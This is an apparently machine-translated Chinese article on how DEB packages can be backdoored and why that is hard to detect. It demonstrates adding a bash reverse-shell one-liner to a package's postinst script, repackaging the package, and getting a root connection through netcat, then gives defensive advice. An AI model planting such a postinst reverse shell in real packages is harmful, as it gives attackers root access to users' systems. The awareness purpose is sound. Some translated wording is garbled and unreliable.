DEB 包如何被后门以及如何检测它们

中心论点

  • DEB 包可以很容易地通过后门打开,如果您使用 root 权限安装它们,攻击者就可以将恶意代码注入您的系统。
  • 受感染的 DEB 软件包很难检测,因为防病毒软件可能无法检测到它们,或者 Cloud- 解决方案将被标记为 VirusTotal。
  • 为了保护自己,请避免从随机网站下载 DEB 软件包,坚持使用官方下载网站或社区信任的网站,并考虑安装安全工具以确保您的安全 Linux 系统抵御网络攻击。

DEB 文件是软件包,是发布软件的主要格式 Debian-基于 Linux 分布。

要安装 DEB 软件包,您需要使用具有 root 权限的软件包管理器,例如 dpkg。 攻击者利用这一点并将后门注入这些包中。 如果您使用 dpkg 或任何其他包管理器安装它们,恶意代码也会运行并危及您的系统。

让我们详细研究一下 DEB 包如何受到后门的保护以及您可以采取哪些措施来保护自己。

在了解 DEB 包如何被后门之前,让我们先看看 DEB 包内部有什么。 为了演示,我从微软官网下载了Microsoft Visual Studio Code DEB包。 如果您想安装 VS Code,这与您需要下载的包相同 Linux。

下载: 视觉工作室代码

下载目标包后,就可以解压它了。 您可以使用以下命令解压 DEB 包 dpkg-deb 命令与 -R 标记后跟保存内容的路径:

 dpkg-deb -R <package_name> <path> 

这应该会提取 VS Code 包的内容。

如果你进入该文件夹,你会发现几个目录。 然而,我们的兴趣仅适用于 德比安 目录。 此目录包含在安装期间以 root 权限运行的维护者脚本。 您可能已经发现,攻击者修改了该目录中的脚本。

我将更改它以进行演示 后置 脚本并添加一个简单的一行 bash 反向 tcpShell 添加。 顾名思义,它是在系统上安装软件包后运行的脚本。

它包含完成配置的命令,例如 B. 设置符号链接、处理依赖关系等等。 您可以在互联网上找到大量不同的反向 shell。 它们中的大多数工作原理相同。 这是反向示例Shell- 一条内衬:

 bash -i >& /dev/tcp/127.0.0.1/42069 0>&1 

命令解释:

  • bash: 这是 bash 的命令Shell 来电。
  • -我: 该标志告诉 Bash 以交互模式运行,允许实时命令 I/O。
  • >& /dev/tcp/ip/端口: 这会将标准输出和标准错误重定向到网络套接字,本质上是创建 TCP 连接将被生产。
  • 0>&1: 这会将输入和输出重定向到同一位置,即网络套接字。

对于外行来说:相反Shell 是一种代码,当在目标计算机上执行时,会启动与攻击者计算机的连接。 反向 shell 是绕过防火墙限制的好方法,因为流量是由防火墙后面的计算机生成的。

修改后的脚本如下所示:

正如你所看到的,一切都是一样的,但只添加了一行,这是我们的 bash 逆向Shell。 现在您需要将文件放回“.deb” 格式。只需使用 包装袋 命令与 -建造 标记或使用 dpkg-deb-B 标记后跟提取内容的路径:

 dpkg --build <directory>
dpkg-deb -b <directory>

现在,带后门的 DEB 包可以在恶意网站上分发。 让我们模拟一个场景,受害者在其系统上下载了 DEB 软件包,并像任何其他常规软件包一样安装它。

顶部终端区域用于受害者的 POV,底部用于攻击者的 POV。 受害者安装该软件包 sudo dpkg-i 攻击者耐心地等待通过网络传入的连接 网猫 命令开启 Linux。

安装完成后,您会注意到攻击者使用相反的方法Shell-已连接,现在具有对受害者系统的 root 访问权限。 现在您知道如何对 DEB 软件包添加后门了。 现在就了解如何保护自己。

如何检测DEB包是否是恶意的

既然您知道存在受感染的 DEB 软件包,您一定想知道如何找到受感染的软件包。 对于初学者,您可以尝试 Linux 杀毒软件如ClamAV。 不幸的是,当对包运行 ClamAV 扫描时,它没有被标记为恶意。 这是扫描的结果:

因此,除非您拥有高级防病毒解决方案(这并不能保证您不会被黑客攻击),否则检测恶意 DEB 数据包是相当困难的。 我们来尝试一下 Cloud-像 VirusTotal 网站一样的解决方案:

如您所见,VirusTotal 没有遇到任何错误。 那么,保护自己免受此类威胁的唯一方法是遵循基本的安全措施,例如例如,不从未知来源下载文件,始终检查文件的哈希值,并且通常避免安装可疑软件。

互联网上充满了此类威胁。 冲浪时不丢失数据的唯一方法是保持冷静并浏览受信任的网站。 除了 Linux 之外,您还应该尝试查明您正在下载的软件是否有 AppImage 变体,因为它是独立的并且可以被沙箱化,从而与您的系统脱节。

不要从随机网站下载 DEB 包!

DEB 软件包本质上并不坏,但攻击者可以轻松地将它们武器化并将其发送给毫无戒心的用户。 如图所示,DEB 包可以轻松打开和修改,只需几个命令即可添加自定义代码,使其成为恶意软件扩散的常见载体。

即使是 DEB 软件包中的简单后门也不会被领先的防病毒解决方案检测到。 您能做的最好的事情就是谨慎行事,在上网时使用常识,并且只从官方下载网站或社区信任的网站下载软件。

既然您已经意识到从新的或未知的网站安装 DEB 软件包所带来的安全风险,那么在安装新软件时应该小心。 然而,仅仅关注您安装的内容是不够的。 你的 Linux 该系统也可能成为网络攻击的目标。

为了确保您在遭受网络攻击时的安全,请考虑安装网络安全工具。